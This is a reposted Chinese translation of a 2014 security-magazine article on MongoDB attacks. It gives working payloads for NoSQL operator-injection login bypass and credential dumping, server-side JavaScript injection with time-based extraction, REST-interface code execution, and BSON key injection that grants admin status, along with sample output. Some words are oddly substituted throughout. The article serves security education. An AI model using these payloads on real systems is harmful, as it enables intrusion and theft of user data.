《花十分鐘,看懂MongoDB攻防實戰》要點:
本文介紹了花十分鐘,看懂MongoDB攻防實戰,希望對您有用。如果有疑問,可以聯系我們。
相關主題:非關系型數據庫
譯者說:此文譯自2014年1月的HITB雜志 ,該文提到的漏洞可能早已被修復,但其分析思路至今仍具有現實意義.
開發人員今天在越來越多地使用NoSQL數據庫來應對各種應用.與SQL注入相比,NoSQL攻擊方法知之甚少,不太常見.本文重點介紹針對于NoSQL數據庫的攻擊,通過MongoDB漏洞攻擊Web應用程序.
初識MongoDB
在介紹MongoDB漏洞之前,我們應該先了解這個數據庫.在各大知名的web項目中都有應用NoSQL數據庫,其中MongoDB是時下最流行的NoSQL數據庫.此外,Microsoft在其云平臺Azure上提供MongoDB數據庫,這說明該數據庫很快將被應用于企業軟件.
簡而言之,MongoDB是一個非常高性能(它的主要優點),可擴展(如果需要,可以在幾個服務器上輕松擴展)、開源(可以由大公司調整)的NoSQL數據庫.MongoDB擁有屬于自己的哀求語言,但不支持關系型SQL語言的哀求.MongoDB是典型的key-value數據庫,沒有table概念.
下載MongoDB安裝工具包,可以看到兩個可執行文件:Mongo和mongod. Mongod是數據庫的server端主程序,用于存儲數據并處理哀求.而Mongo是一個用C ++和JS(V8)編寫的官方客戶端.
MongoDB的安裝與使用
安裝過程不再贅述,我們只關注更加有趣的部分.首先,我們來看一下REST接口. 它是一個Web界面,默認端口28017,可通過瀏覽器遠程控制其數據庫.使用這個DBMS選項,我們發現了幾個漏洞:兩個存儲型XSS,未公開的SSJS(Server Side JavaScript,比如node.js)命令執行和多個CSRF漏洞.下圖演示了這個REST界面:
我們將詳細說明上述漏洞.這些字段客戶端和日志有兩個存儲的XSS漏洞,這意味著使用HTML代碼向數據庫發出任何哀求,這段代碼將被寫入到REST界面的頁面的源代碼中,并將在訪問此頁面的人的瀏覽器中執行.這些漏洞使以下攻擊成為可能:
1.發送帶有SCRIPT和JS地址的哀求.
2.管理員在瀏覽器中打開Web界面,并在此瀏覽器中執行JS代碼.
3.通過JSONP腳本從遠程服務器哀求執行命令.
4.腳本使用參數未驗證的SSJS代碼執行命令.
5.結果發送到我們的遠程主機,寫入日志.
至于參數未驗證的ssjs遠程代碼執行,我們已經寫了一個模板,可以根據需要進行修改.
http://vuln-host:28017/admin/$cmd/?filter_eval=function(){re- turn db.version() }&limit=1
$ cmd在這個例子中是一個可以自定義的空函數,大家知道了嗎?:)
玩轉MongoDB驅動
假設有一個搭建好的Apache+PHP+MongoDB的web服務器和一個有漏洞的PHP腳本.
這個腳本的主要片段如下:
$q = array("name" => $_GET['login'], "password" => $_ GET['password']);
$cursor = $collection->findOne($q);
當數據被接收時,該腳本向MongoDB數據庫發出哀求.如果輸入的用戶密碼正確,那么它會接收,并輸出用戶的數據.看起來如下:
echo 'Name: ' . $cursor['name'];
echo 'Password: ' . $cursor['password'];
假設已經發送了以下參數(True):
?login=admin&password=pa77w0rd
那么對數據庫的哀求將如下所示:
db.items.findOne({"name" :"admin", "password" : "pa77w0rd"})
由于數據庫包含密碼為pa77w0rd的用戶管理員,所以此時數據庫響應為True;如果使用其他名稱或密碼,那么響應將不會返回(False).
除了語法的差異,MongoDB和其他數據庫大致相同.因此,admin賬戶的信息需要隱藏起來,我們將輸出信息中關于admin的數據篩選掉:
db.items.find({"name" :{$ne : "admin"}})
我想你已經有了如何欺騙這個登錄驗證的想法.我們從理論到實踐.首先創建一個哀求,這個哀求將符合以下條件:密碼不是1,用戶是admin.
db.items.findOne({"name" :"admin", "password" : {$ne : "1"}})
有關上述帳戶的信息作為回應:
{
"_id" : ObjectId("4fda5559e5afdc4e22000000"), "name" : "admin",
"password" : "pa77w0rd"
}
在PHP中將如下所示:
$q = array("name" => "admin", "password" => array("\$ne" => "1"));
只需要將密碼變量聲明為一個數組:
?login=admin&password[$ne]=1
因此,輸出admin數據(True). 這個問題可以通過函數is_array()將輸入參數轉變為字符串類型來解決.
注意正則表達式可以并且應該用在諸如findOne()和find()這樣的函數中.使用的例子:
db.items.find({name: {$regex: "^y"}})
該哀求將找到以字母y開頭的用戶. 假設在腳本中使用了對數據庫的以下哀求:
$cursor1=$collection->find(array("login"=>$user, "pass" => $pass));
從數據庫接收到的數據將以下面的結構顯示在頁面上:
echo 'id: '. $obj2['id'] .'<br>login: '. $obj2['login']
.'<br>pass: '. $obj2['pass'] . '<br>';
正則表達式可以幫助我們收集到我們想要的所有數據 ,我們所要做的僅僅是將收集到信息轉換為腳本所需要的數據類型:
?login[$regex]=^&password[$regex]=^
我們將收到以下回復:
id: 1
login: Admin
pass: parol
id: 4
login: user2
pass: godloveman
id: 5
login: user3
pass: thepolice=
此外還有另一種方法來利用該漏洞:
?login[$not][$type]=1&password[$not][$type]=1
在這種情況下輸出如下:
login: Admin
pass: parol
id: 4
login: user2
pass: godloveman
id: 5
login: user3
pass: thepolice
該算法適用于find()和findOne().
SSJS哀求注入漏洞分析
如果MongoDB和PHP一起使用,存在一個與服務器發出的SSJS哀求有關的典型漏洞.
假設我們有一段存在漏洞的代碼,它將用戶數據注冊到數據庫中,然后在操作過程中輸出某些字段的值. 類似于留言簿的功能.
代碼如下所示:
$q = "function() { var loginn = '$login'; var passs = '$pass'; db.members.insert({id : 2, login : loginn, pass : passs});
一個重要的條件是變量$ pass和$ login直接從數組$ _GET獲取,并且不對$ _GET獲取的信息進行過濾:
$login = $_GET['login'];
$pass = $_GET['password'];
以下是執行此哀求并從數據庫輸出數據的代碼:
$db->execute($q);
$cursor1 = $collection->find(array("id" => 2)); foreach($cursor1 as $obj2){
echo "Your login:".$obj2['login'];
echo "<br>Your password:".$obj2['pass'];
}
測試腳本準備好了,接下來就是練習. 發送測試數據:
?login=user&password=password
接收以下數據作為回應:
Your login: user
Your password: password
我們試圖利用這個漏洞,從最簡單的引號開始:
?login=user&password=';
,SSJS代碼由于出錯而未被執行.但是,如果發送以下數據,所有內容都會發生變化:
/?login=user&password=1'; var a = '1
接下來將代碼改寫,使頁面能顯示代碼的執行結果:
?login=user&password=1'; var loginn = db.version(); var b='
當執行上述代碼后,JS代碼變成了如下的形式:
$q = ?function() { var loginn = user; var passs = '1';
var loginn = db.version();
var b='';
db.members.insert({id : 2, log- in : loginn, pass : passs}); }?
現在我們可以通過這個漏洞來閱讀數據庫其他的記錄:
/?login=user&password= '; var loginn = tojson(db.members. find()[0]); var b='2
讓我們來詳細的了解一下:
1. 已知的函數結構可以用于重寫變量并執行任意代碼.
2. tojson()函數有助于從數據庫中獲得完整的響應.
3. 最重要的部分是db.members.find()[0],其中members是一個表,而find()是一個輸出所有記錄的函數. 結尾處的數組表示我們處理的記錄數. 通過爆破結尾處數組的值,我們可以從數據庫中收到記錄.
當然,代碼執行后可能會沒有輸出,這時我們需要基于時間的注入方法,這種技術利用服務器響應延遲來接收數據. 舉一個例子:
?login=user&password=';
if(db.version()>"2")
{ sleep(10000); exit;}
var loginn =1;
var b='2
這個哀求可以讓我們知道數據庫版本. 如果超過2(例如2.0.4),那么我們的代碼將被執行,并且服務器會以延遲響應.
嗅探MongoDB
眾所周知,MongoDB允許創建數據庫的特殊用戶. 有關數據庫中用戶的信息存儲在表db.system.users中.
我們對上述表中用戶名字段和密碼字段感興趣. 用戶列包含user login,pwd - MD5 string?%login%:mongo:%password%?其中login和password包含用戶的登錄名,哈希值,密鑰和密碼.
所有數據都是未加密傳輸的,并且通過劫持數據包可以獲取用戶名和密碼的特定數據. 在MongoDB服務器上認證時,需要劫持客戶端發送的隨機數,登錄名和密鑰. 包含以下形式的MD5字符串:%nonce% + %login% + md5(%login% + ":mongo:" + %passwod%).
編寫軟件自動劫持數據并不困難,但會暴力劫持登錄名和密碼的后果卻十分嚴重.
BSON數據的漏洞分析
現在讓我們來研究一下基于BSON格式數據的漏洞.
BSON(二進制JavaScript對象符號)是一種主要用作存儲各種數據(Bool,int,string等)的計算機數據交換格式. 現假設存在一個有兩條記錄的表:
> db.test.find({})
{ "_id" : ObjectId("5044ebc3a91b02e9a9b065e1"), "name" :
"admin", "isadmin" : true }
{ "_id" : ObjectId("5044ebc3a91b02e9a9b065e1"), "name" : "noadmin", "isadmin" : false }
還有一個參數存在注入點的數據庫哀求:
>db.test.insert({ "name" : "noadmin2", "isadmin" : false})
只需將設計好的BSON對象插入列名稱即可:
>db.test.insert({"name\x16\x00\x08isadmin\x00\x01\x00\ x00\x00\x00\x00" : "noadmin2", "isadmin" : false})
isadmin之前0x08指定了數據類型為布爾值,0x01將對象值設置為true,而不是默認分配.
現在看看表中有什么:
> db.test.find({})
{ "_id" : ObjectId("5044ebc3a91b02e9a9b065e1"), "name" : "admin", "isadmin" : true }
{ "_id" : ObjectId("5044ebc3a91b02e9a9b065e1"), "name" : "noadmin", "isadmin" : false }
{ "_id" : ObjectId("5044ebf6a91b02e9a9b065e3"), "name" : null, "isadmin" : true, "isadmin" : true }
Isadmin的false已經變成了true!
在現實生活中可能會遇到上述的攻擊和漏洞,我們不僅應該考慮在MongoDB中運行的平安代碼,還要考慮DBMS本身的漏洞.希望通過本文的介紹能讓大家了解到NoSQL數據庫也不是平安無憂的數據庫.
歡迎參與《花十分鐘,看懂MongoDB攻防實戰》討論,分享您的想法,維易PHP學院為您提供專業教程。